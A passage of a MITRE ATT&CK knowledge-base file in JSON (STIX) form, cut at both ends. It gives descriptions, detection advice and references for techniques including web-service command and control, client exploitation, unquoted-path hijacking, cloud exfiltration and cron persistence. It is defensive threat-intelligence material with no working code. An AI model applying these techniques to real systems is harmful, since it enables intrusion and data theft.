2020.","url":"https://lolbas-project.github.io/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","type":"attack-pattern","created":"2020-03-14T22:34:03.024Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1102.002","url":"https://attack.mitre.org/techniques/T1102/002"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-26T23:15:47.861Z","name":"Bidirectional Communication","description":"Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow"],"x_mitre_permissions_required":["User"]},{"modified":"2024-10-15T16:34:23.908Z","name":"Exploitation for Client Execution","description":"Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_deprecated":false,"x_mitre_detection":"Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_version":"1.4","x_mitre_data_sources":["Process: Process Creation","File: File Modification","Application Log: Application Log Content","Network Traffic: Network Traffic Flow"],"x_mitre_remote_support":false,"x_mitre_system_requirements":["Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise."],"type":"attack-pattern","id":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1203","external_id":"T1203"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jan Petrov, Citi","Elvis Veliz, Citi","Richard Julian, Citi"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46","created":"2022-03-04T18:56:38.844Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1595.003","url":"https://attack.mitre.org/techniques/T1595/003"},{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."},{"source_name":"GCPBucketBrute","url":"https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/","description":"Spencer Gietzen. (2019, February 26). Google Cloud Platform (GCP) Bucket Enumeration and Privilege Escalation. Retrieved March 4, 2022."},{"source_name":"S3Recon GitHub","url":"https://github.com/clarketm/s3recon","description":"Travis Clarke. (2020, March 21). S3Recon GitHub. Retrieved March 4, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).\n\nFor example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)). \n\nAs cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally. ","modified":"2022-04-15T19:10:23.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Wordlist Scanning","x_mitre_detection":"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Monitor for access to S3 buckets, especially those that are not intended to be publicly accessible. \n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-16T20:12:44.962Z","name":"Spoof Security Alerting","description":"Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders’ awareness of malicious activity.(Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.\n\nRather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). An adversary can also present a “healthy” system status even after infection. This can be abused to enable further malicious activity by delaying defender responses.\n\nFor example, adversaries may show a fake Windows Security GUI and tray icon with a “healthy” system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Menachem Goldstein"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"1.0","x_mitre_data_sources":["Process: Process Creation","Sensor Health: Host Status"],"type":"attack-pattern","id":"attack-pattern--bef8aaee-961d-4359-a308-4c2182bcedff","created":"2023-03-14T16:04:24.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1562/011","external_id":"T1562.011"},{"source_name":"BlackBasta","description":"Antonio Cocomazzi and Antonio Pirozzi. (2022, November 3). Black Basta Ransomware | Attacks Deploy Custom EDR Evasion Tools Tied to FIN7 Threat Actor. Retrieved March 14, 2023.","url":"https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:02:13.742Z","name":"Outlook Home Page","description":"Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_deprecated":false,"x_mitre_detection":"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Office Suite"],"x_mitre_version":"1.2","x_mitre_data_sources":["Application Log: Application Log Content","Command: Command Execution","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--bf147104-abf9-4221-95d1-e81585859441","created":"2019-11-07T20:09:56.536Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1137/004","external_id":"T1137.004"},{"source_name":"Microsoft Detect Outlook Forms","description":"Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.","url":"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"},{"source_name":"SensePost NotRuler","description":"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.","url":"https://github.com/sensepost/notruler"},{"source_name":"SensePost Outlook Home Page","description":"Stalmans, E. (2017, October 11). Outlook Home Page – Another Ruler Vector. Retrieved February 4, 2019.","url":"https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-12-26T20:59:21.941Z","name":"Asymmetric Cryptography","description":"Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_deprecated":false,"x_mitre_detection":"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.1","x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","created":"2020-03-16T15:48:33.882Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1573/002","external_id":"T1573.002"},{"source_name":"SANS Decrypting SSL","description":"Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.","url":"http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840"},{"source_name":"SEI SSL Inspection Risks","description":"Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.","url":"https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-15T19:11:47.547Z","name":"Exfiltration to Cloud Storage","description":"Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow","File: File Access","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","created":"2020-03-09T15:04:32.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1567/002","external_id":"T1567.002"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-01T13:48:28.738Z","name":"Lateral Tool Transfer","description":"Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.\n\nAdversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_contributors":["Shailesh Tiwary (Indian Army)"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.3","x_mitre_data_sources":["Named Pipe: Named Pipe Metadata","Network Share: Network Share Access","Network Traffic: Network Traffic Flow","Command: Command Execution","Process: Process Creation","File: File Creation","Network Traffic: Network Traffic Content","File: File Metadata"],"type":"attack-pattern","id":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","created":"2020-03-11T21:01:00.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1570","external_id":"T1570"},{"source_name":"Dropbox Malware Sync","description":"David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.","url":"https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/"},{"source_name":"Unit42 LockerGoga 2019","description":"Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.","url":"https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-30T21:01:35.788Z","name":"Path Interception by Unquoted Path","description":"Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_attack_spec_version":"2.1.0","x_mitre_contributors":["Stefan Kanthak"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Modification","File: File Creation","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b","created":"2020-03-13T13:51:58.519Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1574/009","external_id":"T1574.009"},{"source_name":"Windows Privilege Escalation Guide","description":"absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.","url":"https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/"},{"source_name":"Windows Unquoted Services","description":"HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted Services. Retrieved August 10, 2018.","url":"https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/"},{"source_name":"Help eliminate unquoted path","description":"Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012.","url":"https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464"},{"source_name":"Microsoft CurrentControlSet Services","description":"Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020.","url":"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069","type":"attack-pattern","created":"2021-03-17T20:32:13.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1608.003","url":"https://attack.mitre.org/techniques/T1608/003"},{"source_name":"DigiCert Install SSL Cert","url":"https://www.digicert.com/kb/ssl-certificate-installation.htm","description":"DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021."},{"source_name":"Splunk Kovar Certificates 2017","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."}],"modified":"2021-10-16T17:47:46.409Z","name":"Install Digital Certificate","description":"Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Anastasios Pingios"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1168","url":"https://attack.mitre.org/techniques/T1168"},{"url":"https://linux.die.net/man/5/crontab","description":"Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.","source_name":"Die.net Linux crontab Man Page"},{"url":"https://linux.die.net/man/1/at","description":"Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.","source_name":"Die.net Linux at Man Page"},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html","description":"Apple. (n.d.). Retrieved July 17, 2017.","source_name":"AppleDocs Scheduling Timed Jobs"},{"url":"http://www.thesafemac.com/new-signed-malware-called-janicab/","description":"Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.","source_name":"Janicab"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.","source_name":"Malware Persistence on OS X"},{"url":"https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/","description":"Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.","source_name":"Avast Linux Trojan Cron Persistence"}],"modified":"2021-03-30T00:51:58.374Z","name":"Local Job Scheduling","description":"On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral 